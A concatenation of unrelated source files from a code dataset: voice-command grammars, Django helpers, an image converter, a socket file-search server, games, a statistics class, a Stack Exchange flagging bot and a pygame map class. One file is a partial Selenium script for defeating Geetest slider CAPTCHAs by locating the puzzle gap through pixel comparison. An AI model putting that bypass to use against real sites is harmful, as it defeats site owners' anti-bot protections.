nexus.comm.get_com(\"hmc\").complete()\n\ndef hmc_checkbox(n, nexus):\n # can easily check multiple boxes, use a comma-separated list of numbers instead of str(n)\n nexus.comm.get_com(\"hmc\").do_action(\"check\", [int(n)])\n\ndef hmc_focus(field, nexus):\n # can easily check multiple boxes, use a comma-separated list of numbers instead of str(n)\n nexus.comm.get_com(\"hmc\").do_action(\"focus\", str(field))\n\ndef hmc_recording_check_range(n, n2, nexus):\n nexus.comm.get_com(\"hmc\").do_action(\"check_range\", [int(n), int(n2)])\n\ndef hmc_recording_exclude(n, nexus):\n nexus.comm.get_com(\"hmc\").do_action(\"exclude\", int(n))\n \ndef hmc_recording_repeatable(nexus):\n nexus.comm.get_com(\"hmc\").do_action(\"repeatable\")\n\ndef hmc_directory_browse(nexus):\n nexus.comm.get_com(\"hmc\").do_action(\"dir\")\n\ndef hmc_confirm(value, nexus):\n nexus.comm.get_com(\"hmc\").do_action(value)\n \ndef hmc_settings_complete(nexus):\n nexus.comm.get_com(\"hmc\").complete()\n \n\n\nclass HMCRule(MergeRule):\n mapping = {\n \"kill homunculus\": R(Function(kill, nexus=_NEXUS), rdescript=\"Kill Helper Window\"),\n \"complete\": R(Function(complete, nexus=_NEXUS), rdescript=\"Complete Input\")\n }\ngrammar = Grammar(\"hmc\", context=AppContext(title=settings.HOMUNCULUS_VERSION))\nr1 = HMCRule()\ngfilter.run_on(r1)\ngrammar.add_rule(r1)\nif settings.SETTINGS[\"feature_rules\"][\"hmc\"]:\n grammar.load()\n\nclass HMCHistoryRule(MergeRule):\n mapping = {\n # specific to macro recorder\n \"check \": R(Function(hmc_checkbox, nexus=_NEXUS), rdescript=\"Check Checkbox\"),\n \"check from to \": R(Function(hmc_recording_check_range, nexus=_NEXUS), rdescript=\"Check Range\"),\n \"exclude \": R(Function(hmc_recording_exclude, nexus=_NEXUS), rdescript=\"Uncheck Checkbox\"),\n \"[make] repeatable\": R(Function(hmc_recording_repeatable, nexus=_NEXUS), rdescript=\"Make Macro Repeatable\")\n } \n extras = [\n IntegerRefST(\"n\", 1, 25),\n IntegerRefST(\"n2\", 1, 25),\n ]\ngrammar_history = Grammar(\"hmc history\", context=AppContext(title=settings.HMC_TITLE_RECORDING))\nr2 = HMCHistoryRule()\ngfilter.run_on(r2)\ngrammar_history.add_rule(r2)\nif settings.SETTINGS[\"feature_rules\"][\"hmc\"]:\n grammar_history.load()\n\nclass HMCDirectoryRule(MergeRule):\n mapping = {\n # specific to directory browser\n \"browse\": R(Function(hmc_directory_browse, nexus=_NEXUS), rdescript=\"Browse Computer\")\n }\ngrammar_directory = Grammar(\"hmc directory\", context=AppContext(title=settings.HMC_TITLE_DIRECTORY))\nr3 = HMCDirectoryRule()\ngfilter.run_on(r3)\ngrammar_directory.add_rule(r3)\nif settings.SETTINGS[\"feature_rules\"][\"hmc\"]:\n grammar_directory.load()\n\nclass HMCConfirmRule(MergeRule):\n mapping = {\n # specific to confirm\n \"confirm\": R(Function(hmc_confirm, value=True, nexus=_NEXUS), rdescript=\"HMC: Confirm Action\"),\n \"disconfirm\": R(Function(hmc_confirm, value=False, nexus=_NEXUS), \n rspec=\"hmc_cancel\",\n rdescript=\"HMC: Cancel Action\")\n }\ngrammar_confirm = Grammar(\"hmc confirm\", context=AppContext(title=settings.HMC_TITLE_CONFIRM))\nr4 = HMCConfirmRule()\ngfilter.run_on(r4)\ngrammar_confirm.add_rule(r4)\nif settings.SETTINGS[\"feature_rules\"][\"hmc\"]:\n grammar_confirm.load()\n\n\nclass HMCSettingsRule(MergeRule):\n mapping = {\n \"kill homunculus\": R(Function(kill), rdescript=\"Kill Settings Window\"),\n \"complete\": R(Function(hmc_settings_complete), rdescript=\"Complete Input\"),\n }\ngrammar_settings = Grammar(\"hmc settings\", context=AppContext(title=settings.SETTINGS_WINDOW_TITLE))\nr5 = HMCSettingsRule()\ngfilter.run_on(r5)\ngrammar_settings.add_rule(r5)\nif settings.SETTINGS[\"feature_rules\"][\"hmc\"]:\n grammar_settings.load()\n\n\n\ndef receive_settings(data):\n settings.SETTINGS = data\n settings.save_config()\n # TODO: apply new settings\n \ndef settings_window(nexus):\n h_launch.launch(settings.WXTYPE_SETTINGS)\n on_complete = AsynchronousAction.hmc_complete(lambda data: receive_settings(data), nexus)\n AsynchronousAction([L(S([\"cancel\"], on_complete))], time_in_seconds=1, repetitions=300, blocking=False).execute()\n\nclass LaunchRule(MergeRule):\n mapping = {\n \"launch settings window\": R(Function(settings_window, nexus=_NEXUS), rdescript=\"Launch Settings Window\"), \n }\ngrammarw = Grammar(\"Caster Windows\")\nr6 = LaunchRule()\ngfilter.run_on(r6)\ngrammarw.add_rule(r6)\nif settings.SETTINGS[\"feature_rules\"][\"hmc\"]:\n grammarw.load()\n \nif not settings.SETTINGS[\"feature_rules\"][\"hmc\"]:\n print(\"WARNING: Tk Window controls have been disabled -- this is not advised!\")\n","sub_path":"caster/asynch/_hmc.py","file_name":"_hmc.py","file_ext":"py","file_size_in_byte":5415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"632328829","text":"\nimport json\nimport string\nimport random\n\n\nORDER_NUMBER_CORPUS = string.uppercase + string.digits\n\n\ndef currency(amount, format='usd'):\n if format != 'usd':\n raise Exception('Unsupported currency format')\n\n return \"$%.2f\" % (amount / 100.0)\n\n\ndef gen_order_number(size=8, tries=0):\n from roysss.apps.shop.models import StripeOrder\n\n N = [\n random.choice(ORDER_NUMBER_CORPUS)\n for _ in range(size)\n ]\n\n number = ''.join(N)\n\n try:\n StripeOrder.objects.get(number=number)\n except StripeOrder.DoesNotExist:\n return number\n\n if tries < 5:\n return gen_order_number(size=size, tries=tries+1)\n\n raise Exception(\"Couldn't generate order number\")\n\n\ndef context_json_encode(obj):\n if isinstance(obj, list):\n return [context_json_encode(e) for e in obj]\n\n elif isinstance(obj, dict):\n return {k: context_json_encode(v) for k,v in obj.iteritems()}\n\n else:\n try:\n json.dumps(obj)\n return obj\n\n except TypeError as e:\n return str(e)\n","sub_path":"roysss/roysss/apps/common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"164203750","text":"import sys\nimport os\nfrom PIL import Image,ImageFilter\n\nfolder1_name, folder2_name = sys.argv[1], sys.argv[2]\n\nprint('folder1 name is', folder1_name)\nprint('folder2 name is', folder2_name)\n\n# create directory\ntry:\n os.mkdir(folder2_name + '\\\\')\nexcept FileExistsError:\n print('Directory already exists')\n\nfor file_name in os.listdir(folder1_name):\n print(file_name)\n img = Image.open(folder1_name+'\\\\'+file_name)\n name = file_name.split('.')\n img.save(folder2_name + '\\\\' + name[0] + '.png')\n\n\n\n","sub_path":"jpg_png_conv.py","file_name":"jpg_png_conv.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"209363492","text":"import socket\nimport pickle\nimport threading\nimport os\nimport time\n\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.bind((\"localhost\", 5002))\ns.listen(5)\nprint('Sub Server 2 listening')\n\ncount = 0\n\nwhile True:\n conn, addr = s.accept()\n print('Connected to : ', addr)\n msg = conn.recv(1024)\n\n for root, dirs, files in os.walk(\".\"):\n for name in files:\n if name == msg.decode():\n count = count + 1\n reply = ''\n reply = 'File name : ' + str(name) + ' File Size : '+ str(os.stat(name).st_size) + ' Date Created : ' + str(time.ctime(os.stat(name).st_ctime)) + ' Retrieved -> Sub Server 2'\n \n if (count > 0):\n conn.send(pickle.dumps(reply))\n reply = ''\n found = True\n conn.send(pickle.dumps(found))\n else :\n reply = 'File Not Found'\n conn.send(pickle.dumps(reply))\n found = False\n conn.send(pickle.dumps(found))\n","sub_path":"SubServer02/SubServer02.py","file_name":"SubServer02.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"465228775","text":"import random\n\n\n\n\n# 1. get random word\nrandnum = random.randint(0,19)\n\ngdocs_file = open(\"words.txt\",\"r\")\ngdocs_info = gdocs_file.readlines()\nword = gdocs_info[0]\n#Close text file\ngdocs_file.close() \n\n# 2. print out word in asterisks \n\nlives = 6\n# List to add correct guesses to\nguesses = []\nwin = 0\nwhile (lives != 0):\n\tif(len(guesses) == len(word)-1):\n\t\twin = 1\n\t\tbreak\n\n\tprint ('Guess the word. You have {} lives'.format(lives))\n\tfor i in range(len(word)-1):\n\t\tif word[i] in guesses:\n\t\t\tprint (word[i],end='')\n\t\telse:\n\t\t\tprint ('*',end='')\n\tprint('')\n\n\n\t# Get player Guess\n\tplayer_guess = input()\n\t# Data validation\n\tif len(player_guess) != 1:\n\t\tprint ('Only one letter allowed')\n\t\tcontinue\n\telif player_guess in guesses:\n\t\tprint ('Letter already guessed')\n\t\tcontinue\n\n\n\t# Check if letter is a match\n\tif player_guess in word:\n\t\tprint ('Correct!')\n\t\tguesses.append(player_guess)\n\t\t# Check if word has been completely guessed yet\n\t\t\n\n\telse:\n\t\tprint ('Nope, Try again')\n\t\tlives -= 1\n\n\n\nif win == 1:\n\tprint ('Congratulasi!! You iz Champion')\nelse:\n\tprint ('Loserrr')\n\n\n# 3. get player input\n\n# 4. if right reveal the correct letters if wrong lose a life\n\n# 5, perform check to see if all words have been revealed\n\n\n","sub_path":"1_sam/hangman2.py","file_name":"hangman2.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"451448952","text":"#\n# Copyright 2008-2015 Semantic Discovery, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport json\nimport math\nfrom threading import Lock\n\nclass StatsAccumulator:\n '''\n A low-memory helper class to collect statistical samples and provide\n summary statistics.\n '''\n\n def __init__(self, label='', other=None):\n self._modlock = Lock()\n self.clear(label)\n\n if not other == None:\n if not label == '':\n self._label = other._label\n self._n = other._n\n self._minimum = other._minimum\n self._maximum = other._maximum\n self._sum = other._sum\n self._sos = other._sos\n\n @property\n def label(self):\n return self._label\n\n @label.setter\n def label(self, val):\n self._label = val\n\n @property\n def n(self):\n return self._n\n\n @property\n def minimum(self):\n return self._minimum\n\n @property\n def maximum(self):\n return self._maximum\n\n @property\n def sum(self):\n return self._sum\n\n @property\n def sumOfSquares(self):\n return self._sos\n\n @property\n def mean(self):\n return self.getMean()\n\n @property\n def standardDeviation(self):\n return self.getStandardDeviation()\n\n @property\n def variance(self):\n return self.getVariance()\n\n\n def clear(self, label=''):\n self._modlock.acquire()\n try:\n self._label = label\n self._n = 0\n self._minimum = 0.0\n self._maximum = 0.0\n self._sum = 0.0\n self._sos = 0.0\n finally:\n self._modlock.release()\n\n def initialize(self, label='', n=0, minimum=0, maximum=0, mean=0, stddev=0, summaryInfo=None):\n '''\n Initialize with the given values, preferring existing values from the dictionary.\n '''\n if summaryInfo is not None:\n if 'label' in summaryInfo:\n label = summaryInfo['label']\n if 'n' in summaryInfo:\n n = summaryInfo['n']\n if 'minimum' in summaryInfo:\n minimum = summaryInfo['minimum']\n if 'maximum' in summaryInfo:\n maximum = summaryInfo['maximum']\n if 'mean' in summaryInfo:\n mean = summaryInfo['mean']\n if 'stddev' in summaryInfo:\n stddev = summaryInfo['stddev']\n\n self._modlock.acquire()\n try:\n self._label = label\n self._n = n\n self._minimum = minimum\n self._maximum = maximum\n self._sum = mean * n\n self._sos = 0 if n == 0 else stddev * stddev * (n - 1.0) + self._sum * self._sum / n\n finally:\n self._modlock.release()\n\n def summaryInfo(self):\n '''\n Get a dictionary containing a summary of this instance's information.\n '''\n result = {\n 'label': self.label,\n 'n': self.n,\n 'minimum': self.minimum,\n 'maximum': self.maximum,\n 'mean': self.mean,\n 'stddev': self.standardDeviation\n }\n return result\n\n def __str__(self):\n return json.dumps(self.summaryInfo(), sort_keys=True)\n\n def add(self, *values):\n for value in values:\n self._doAdd(value)\n\n def _doAdd(self, value):\n self._modlock.acquire()\n try:\n if self._n == 0:\n self._minimum = value\n self._maximum = value\n else:\n if value < self._minimum:\n self._minimum = value\n if value > self._maximum:\n self._maximum = value\n\n self._n += 1\n self._sos += (value * value)\n self._sum += value\n finally:\n self._modlock.release()\n\n def getMean(self):\n return 0 if self._n == 0 else self._sum / self._n\n\n def getStandardDeviation(self):\n return 0 if self._n < 2 else math.sqrt(self.variance)\n\n def getVariance(self):\n return 0 if self._n < 2 else (1.0 / (self._n - 1.0)) * (self._sos - (1.0 / self._n) * self._sum * self._sum)\n\n @staticmethod\n def combine(label, *statsAccumulators):\n '''\n Create a new statsAccumulator as if it had accumulated all data from\n the given list of stats accumulators.\n '''\n result = StatsAccumulator(label)\n for stats in statsAccumulators:\n result.incorporate(stats)\n\n return result\n\n def incorporate(self, other):\n '''\n Incorporate the other statsAccumulator's data into this as if this had\n accumulated the other's along with its own.\n '''\n if other is None:\n return\n \n self._modlock.acquire()\n try:\n if self._n == 0:\n self._minimum = other._minimum\n self._maximum = other._maximum\n else:\n if other._minimum < self._minimum:\n self._minimum = other._minimum\n if other._maximum > self._maximum:\n self._maximum = other._maximum\n \n self._n += other._n\n self._sos += other._sos\n self._sum += other._sum\n finally:\n self._modlock.release()\n","sub_path":"src/main/python/util/StatsAccumulator.py","file_name":"StatsAccumulator.py","file_ext":"py","file_size_in_byte":5869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"245229754","text":"import re\nfrom globalvars import GlobalVars\nfrom ChatExchange6.chatexchange6.events import *\nimport requests\nimport json\n\n\ndef send_message(room_id, message, length_check=True):\n if room_id == GlobalVars.charcoal_room_id:\n GlobalVars.charcoal_hq.send_message(message, length_check)\n elif room_id == GlobalVars.meta_tavern_room_id:\n GlobalVars.tavern_on_the_meta.send_message(message, length_check)\n elif room_id == GlobalVars.socvr_room_id:\n GlobalVars.socvr.send_message(message, length_check)\n\n\ndef is_smokedetector_message(user_id, room_id):\n return user_id == GlobalVars.smokeDetector_user_id[room_id]\n\n\ndef watch_wrap(event, client):\n watch(event, event.room, event.user, client)\n\n\ndef watch(event, room, user, client):\n if isinstance(event, MessagePosted):\n if is_smokedetector_message(str(user.id), str(room.id)):\n parts = list(filter(lambda e: e != '', GlobalVars.smokey_regex.split(event.message.content_source)))\n if len(parts) == 7:\n GlobalVars.last_smokey_id[room.id] = event.message.id\n return\n if len(re.compile('sd tpu?\\\\-? (\\w+)').split(event.message.content_source)) == 1:\n print('Smokey reply, but unknown post type!')\n return\n flag_type = list(\n filter(lambda e: e != '', re.compile('sd tpu?\\\\-? (\\w+)').split(event.message.content_source)))[0]\n last_smokey_message_source = client.get_message(GlobalVars.last_smokey_id[room.id]).content_source\n parts = list(filter(lambda e: e != '', GlobalVars.smokey_regex.split(last_smokey_message_source)))\n\n if parts[2] == 'a':\n parts[2] = 'answers'\n if parts[2] == 'q':\n parts[2] = 'questions'\n\n handle_smokey_report(parts[0], parts[2], parts[3], parts[6], flag_type, room)\n\n\ndef get_flag_options(post_id, post_type, site):\n api_path = 'https://api.stackexchange.com/2.2/' + post_type + '/' + post_id \\\n + '/flags/options?site=' + site + '&access_token=' + \\\n GlobalVars.se_api_token + '&key=' + GlobalVars.se_api_key\n\n response_text = requests.get(api_path).text\n response = json.loads(response_text)['items']\n\n return_val = {}\n\n for item in response:\n print(item['title'])\n if item['title'] == 'spam':\n return_val.spam = item['option_id']\n elif item['title'] == 'rude':\n return_val.rude = item['option_id']\n elif item['title'] == 'very low quality':\n return_val.vlq = item['option_id']\n elif item['title'] == 'not an answer':\n return_val.naa = item['option_id']\n\n return return_val\n\n\ndef handle_smokey_report(reason, post_type, post_id, site, flag_type, room):\n flag_type = str(flag_type).lower()\n print('Smokey report: Reason: \"' + reason + '\", post type: ' + post_type + ', post ID: ' + post_id + ', site: ' +\n site + ', flag type: ' + flag_type)\n flag_options = get_flag_options(post_id, post_type, site)\n if json.dumps(flag_options) == '{}':\n room.send_message('That post is no longer available, therefore it cannot be flagged.')\n return\n if flag_type not in flag_options:\n room.send_message('Sorry, I do not know that flag type! Accepted: \\'spam\\', \\'rude\\', \\'naa\\' and \\'vlq\\'')\n return\n api_path = 'https://api.stackexchange.com/2.2/' + post_type + '/' + post_id + '/flags/add?site=' + site + \\\n '&access_token=' + GlobalVars.se_api_token + '&key=' + GlobalVars.se_api_key + '&option_id=' + \\\n flag_options[flag_type]\n req = requests.post(api_path)\n room.send_message('Flagged successfully!')\n","sub_path":"chatcommunicate.py","file_name":"chatcommunicate.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"350688401","text":"\nfrom collections import defaultdict\nnotr, noed = [int(x) for x in input().split()]\nd = defaultdict(list)\nfor _ in range(noed):\n x, y = [int(x) for x in input().split()]\n d[x].append(y)\nfor _ in range(int(input())):\n x, y = [int(x) for x in input().split()]\n c = 1\n def count_bad(a, d):\n global c\n if a in d:\n for branch in d[a]:\n c += 1\n count_bad(branch, d)\n return c\n\n print(count_bad(y, d))\n\n\n'''\ndef func(d,a):\n global c\n if a in d.keys():\n for element in d[a]:\n c=c+1\n func(d,element)\n\nc=1\nn,m=map(int,input().split())\nd={}\nfor i in range (m):\n a,b=map(int,input().split())\n if a in d.keys():\n d[a].append(b)\n else:\n d[a]=[]\n d[a].append(b)\nq=int(input())\nfor i in range(q):\n x,y=map(int,input().split())\n c=1\n func(d,y)\n print (c)\n'''\n\n\n\n","sub_path":"codechef/CAMT.py","file_name":"CAMT.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"517660217","text":"#!/usr/bin/env python\n'''\nThis test the model in a mathematical fashion. It is a revision of\ntest_controller.py to work with the current controller and offer more modes of\nresponses.\n\n@author: Taran Lynn\n@contact: tflynn@ucdavis.edu\n\n'''\n\nfrom controller import Controller\n\nimport math\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport random\n\nLR = 0.5\nOVER = 3\nC1 = 0.3\nC2 = 0.3\nW = 0.1\nIPERIOD = 200\nDPERIOD = 0\n\nNUM_DATA_POINTS = 5000\n\nmatplotlib.rc('font', size=22)\n\nclass Tester:\n def __init__(self):\n self.plotCount_ = 0\n\n def test(self, response, desc):\n \"\"\"\n Tests the controller out on a given response pattern.\n\n @arg response A model that takes a rate and determine the connection RTT.\n This model should have a method of the form generate(rate).\n \"\"\"\n rateler = Controller(LR, OVER, C1, C2, W, IPERIOD, DPERIOD)\n\n recorded_index = np.arange(NUM_DATA_POINTS)\n recorded_latency = np.zeros(NUM_DATA_POINTS)\n predicted_latency = np.zeros(NUM_DATA_POINTS)\n recorded_rate = np.zeros(NUM_DATA_POINTS)\n x = np.zeros(NUM_DATA_POINTS)\n rB = np.zeros(NUM_DATA_POINTS)\n lP = np.zeros(NUM_DATA_POINTS)\n last_rate = 0.0\n\n for i in range(1, NUM_DATA_POINTS):\n recorded_latency[i] = response.generate(recorded_rate[i - 1])\n\n (last_rate, predicted_latency[i]) = rateler.process(last_rate, recorded_latency[i])\n recorded_rate[i] = last_rate\n\n x[i] = rateler.x\n rB[i] = rateler.rB\n lP[i] = rateler.lP\n\n plt.figure(self.plotCount_)\n plt.plot(recorded_index, recorded_latency, 'r--',\n #recorded_index, predicted_latency, 'g^',\n recorded_index, recorded_rate, 'bo')#,\n #recorded_index, x, 'c-',\n #recorded_index, rB, 'g-'),\n #recorded_index, lP, 'b-')\n #plt.legend(['Actual Latency', 'Predicted Latency', 'Rate', 'x', 'rB', 'lP'])\n plt.legend(['RTT', 'Pacing Rate'])\n plt.title('Simulation of Latency and Control: ' + desc)\n plt.xlabel('Time step')\n #plt.ylabel('Arbitrary units')\n plt.ylim(-5, 35)\n self.plotCount_ += 1\n\n def results(self):\n plt.show()\n\nclass Constant:\n \"\"\"\n Produces a constant latency.\n \"\"\"\n\n def __init__(self, latency):\n self.lat_ = latency\n\n def generate(self, rate):\n return self.lat_\n\nclass Offset:\n \"\"\"\n A simple response that increases the latency by the amount the rate is off\n by.\n \"\"\"\n\n def __init__(self, bestLatency, optimumRate, rateSensitivity):\n self.bestLat_ = bestLatency\n self.optRate_ = optimumRate\n self.rateSens_ = rateSensitivity\n\n def generate(self, rate):\n return self.bestLat_ + self.rateSens_ * abs(self.optRate_ - rate)\n\nclass Switch:\n \"\"\"\n Switchs between two responses at a certain time.\n \"\"\"\n\n def __init__(self, firstResponse, secondResponse, switchTime):\n self.fstRes_ = firstResponse\n self.sndRes_ = secondResponse\n self.swTime_ = switchTime\n\n self.time_ = 0\n\n def generate(self, rate):\n if self.time_ < self.swTime_:\n self.time_ += 1\n return self.fstRes_.generate(rate)\n else:\n return self.sndRes_.generate(rate)\n\nclass Noise:\n \"\"\"\n Adds some noise to latency. May also occasionally return random RTTs.\n \"\"\"\n\n def __init__(self, response, noise, percBad):\n self.response = response\n self.noise = noise\n self.percBad = percBad\n\n def generate(self, rate):\n if np.random.uniform() > 1.0 - self.percBad/2:\n return 0\n elif np.random.uniform() > 1.0 - self.percBad/2:\n return 10000\n\n return self.response.generate(rate) + random.uniform(0, self.noise)\n\nclass VarRatePenalizer:\n \"\"\"\n Penalizes variations in rate. The more rapid the greater the penalty.\n \"\"\"\n\n def __init__(self, response, penalty):\n self.response_ = response\n self.penalty_ = penalty\n\n self.lastRate_ = None\n\n def generate(self, rate):\n if self.lastRate_ is None:\n self.lastRate_ = rate\n return self.response_.generate(rate)\n else:\n addedLat = self.penalty_ * abs(self.lastRate_ - rate)\n self.lastRate_ = rate\n return self.response_.generate(rate) + addedLat\n\nclass LatencyGenerator:\n \"\"\"\n Latency generator implemented by David Fridovich.\n \"\"\"\n\n def __init__(self, l_max, l_slope, l_cut, r_coeff, noise_sd = 0.1):\n self.l_max_ = l_max # Maximum value of latency before packet drop.\n self.l_slope_ = l_slope # Increment size for linear latency growth.\n self.l_cut_ = l_cut # Cuts back to this fraction of maximum after drop.\n self.r_coeff_ = r_coeff # Coefficient of most recent control input.\n self.noise_sd_ = noise_sd # Standard deviation of additive noise.\n\n # Keep track of most recent latency value.\n self.l_ = 0.0\n\n def generate(self, r):\n self.l_ += (self.l_slope_ + self.r_coeff_ * r +\n self.noise_sd_ * np.random.randn())\n if self.l_ > self.l_max_:\n self.l_ *= self.l_cut_\n\n self.l_ = max(0.0, self.l_)\n\n return self.l_\n\nclass NetRes:\n \"\"\"\n Theoritical modeled response.\n \"\"\"\n\n def __init__(self, a, rB, lB, lP):\n self.a = a\n self.rB = rB\n self.lB = lB\n self.lP = lP\n\n self.x = 0\n\n def generate(self, r):\n self.x = self.x + (r - self.rB)/self.rB\n self.x = min(max(0, self.x), self.lB - self.lP)\n\n if r == 0:\n return self.lB\n else:\n return self.a/r + self.x + self.lP\n\n\nif __name__ == \"__main__\":\n tester = Tester()\n\n # Constant latency feedback. Could represent a high performance network that\n # works as fast as possible no matter the rate.\n tester.test(Constant(5), \"Constant Latency\")\n\n # Here we model a network whose latency is best at a certain rate, with no\n # other considerations.\n tester.test(Offset(10, 5, 2), \"Offset Latency\")\n #tester.test(Noise(Offset(10, 5, 2), 0.5), \"Offset Latency with Noise\")\n\n # Model for when consistency is desired.\n #tester.test(VarRatePenalizer(Offset(10, 5, 2), 1),\n # \"Offset Latency with Penalized Rate Changes\")\n\n # Here we switch from offset to constant halfway through. The idea is that\n # this could mimic a probing mode as suggested by Nate.\n #tester.test(Switch(Offset(10, 5, 2), Constant(10), NUM_DATA_POINTS/2),\n # \"Switch Offset to Constant Latency\")\n\n #tester.test(LatencyGenerator(10, 1.0, 0.1, -0.2, 0.5),\n # \"Fridovich's Original Model\")\n\n tester.test(Noise(NetRes(0.1*0.1, 10, 30, 15), 2.5, 0.0e-3), \"Network Model\")\n\n tester.results()\n","sub_path":"Revision_Spring2017/python/modelTest.py","file_name":"modelTest.py","file_ext":"py","file_size_in_byte":6922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"451403364","text":"#010 - Informações do Usuário\n\nnome = input('Nome: ')\nendereco = input('Endereço: ')\ncurso = input('Curso: ')\nidade = int(input('Idade: '))\naltura = float(input('Altura: '))\npeso = float(input('Peso: '))\n\nprint(f'{nome}, residente no endereço {endereco}, é aluno do curso de {curso}. Ele(a) tem {idade} de idade, {altura} de altura e {peso} kg.')","sub_path":"Exercícios Gerais/010 - Informações do Usuário.py","file_name":"010 - Informações do Usuário.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"596109864","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# Date : 2018/6/25 9:40\r\n# Author : lixingyun\r\n# Description :\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.wait import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver import ActionChains\r\nimport time\r\nfrom PIL import Image\r\nfrom io import BytesIO\r\n# https://zhuanlan.zhihu.com/p/38383797\r\n\r\nclass GrackGeetest():\r\n def __init__(self):\r\n self.url = 'https://auth.geetest.com/login/'\r\n self.browser = webdriver.Chrome()\r\n self.wait = WebDriverWait(self.browser, 20)\r\n self.email = 'test'\r\n self.password = '2111'\r\n\r\n def get_geetest_button(self):\r\n # 获取点击可以使现验证图出现的按钮节点元素并返回\r\n button = self.wait.until(EC.element_to_be_clickable((By.CLASS_NAME, 'geetest_radar_tip')))\r\n return button\r\n\r\n def get_image_position(self):\r\n # 获取验证图在网页中的位置并以元组的方式返回\r\n geetestImage = self.wait.until(EC.presence_of_element_located((By.CLASS_NAME, 'geetest_canvas_img')))\r\n time.sleep(2)\r\n location = geetestImage.location\r\n size = geetestImage.size\r\n top, bottom, left, right = location['y'], location['y'] + size['height'], location['x'], location['x'] + size['width']\r\n return (top, bottom, left, right)\r\n\r\n # 截取当前页面\r\n def get_chrome_page(self):\r\n page_shot = self.browser.get_screenshot_as_png()\r\n page_shot = Image.open(BytesIO(page_shot))\r\n return page_shot\r\n\r\n # 从网页中截取验证码图片并返回\r\n def get_geetest_image(self, name='geetest.png'):\r\n top, bottom, left, right = self.get_image_position()\r\n # 截取当前页面的图片\r\n page_shot = self.get_chrome_page()\r\n # 截取其中出现的验证图的位置\r\n captchaImage = page_shot.crop((top, bottom, left, right))\r\n captchaImage.save(name) # 保存当前文件夹中\r\n return captchaImage\r\n\r\n # 实现步骤2,获取缺口位置\r\n def get_slider(self):\r\n # 获取可滑动对象\r\n slider = self.wait.until(EC.element_to_be_clickable((By.CLASS_NAME, 'geetest_slider_button')))\r\n return slider\r\n\r\n # 通过对比2张图的像素点的差距得出缺口位置\r\n def get_gap(self, image1, image2):\r\n left = 60\r\n for i in range(left, image1.size[0]):\r\n for j in range(image1.size[1]):\r\n if not self.is_pixel_equal(image1, image2, i, j):\r\n # 因为小滑块和缺口是同一条水平线,所以就只取x轴方向上的值\r\n left = i\r\n return left\r\n return left\r\n\r\n def is_pixel_equal(self, image1, image2, x, y):\r\n # 判断2个像素是否相同\r\n pixel1 = image1.load()[x, y]\r\n pixel2 = image2.load()[x, y]\r\n # 阀值当超出这个阀值的时候证明这2个像素点不匹配,为缺口左上角的像素点\r\n threshold = 60\r\n if abs(pixel1[0] - pixel2[0]) < threshold and abs(pixel1[1] - pixel2[1]) < threshold and abs(pixel1[2] - pixel2[2]) < threshold:\r\n return True\r\n else:\r\n return False\r\n# 步��三相关方法:最关键的一步也是突破极验验证机器学习算法的一步\r\n# 采用","sub_path":"auto_ui/jiyan.py","file_name":"jiyan.py","file_ext":"py","file_size_in_byte":3427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"637780772","text":"import pygame\nimport globals as g\nfrom parse import load_jpg, load_doors, load_area, play_music\nfrom controls import player_face_door, fade_black, fade_out\nimport os\nfrom collisions import collision_door\nfrom constants import u, d, l, r\n\n\"\"\" The world is broken up into areas. Areas are place into the areas folders\nEach area has a folder and a text file. The text file sets the starting position and room\nIn the area folder images for each room, text maps and door files can be fond. These are all used\nto load up rooms when they are entered. All areas are collected together into the world map.\nArea names need to be added to the file areas.txt. The first name in this file is the starting area\n\"\"\"\n\n\nclass Area_map(pygame.sprite.Sprite):\n\n \"\"\"This class is used for each area and basically controlls navigation between rooms\n Collisions with maps, loading up the maps and there grids etc. It is inherited and used\n in the worldmap class and used for the current area.\"\"\"\n\n def __init__(self, name):\n self.name = name # The name of the area which is blitted in the map.\n self.menu_name = None # This is used for the name that is displayed in the menu\n self.area_num = 0 # The number not. Not currently used\n self.current_room = 0 # The current room\n self.doors = [] # A list of the doors in the room, loaded fromm room.doors\n # [room door leads to, xpos, ypos, direction player must travel ]\n self.starting = False # If True the area is the first area the player enters\n # [room door leads to, xpos, ypos, direction player must travel ]\n # new list is loaded every time the room is changed\n self.player_pos = [] # used for the players initial position in an area\n self.next_update_time = 0\n self.room_change = False # set to true when the room changes.\n self.image = None # the image used for the room\n self.rect = None # room rectangle\n self.room_map = None # Map of 0's and 1's describing walls\n 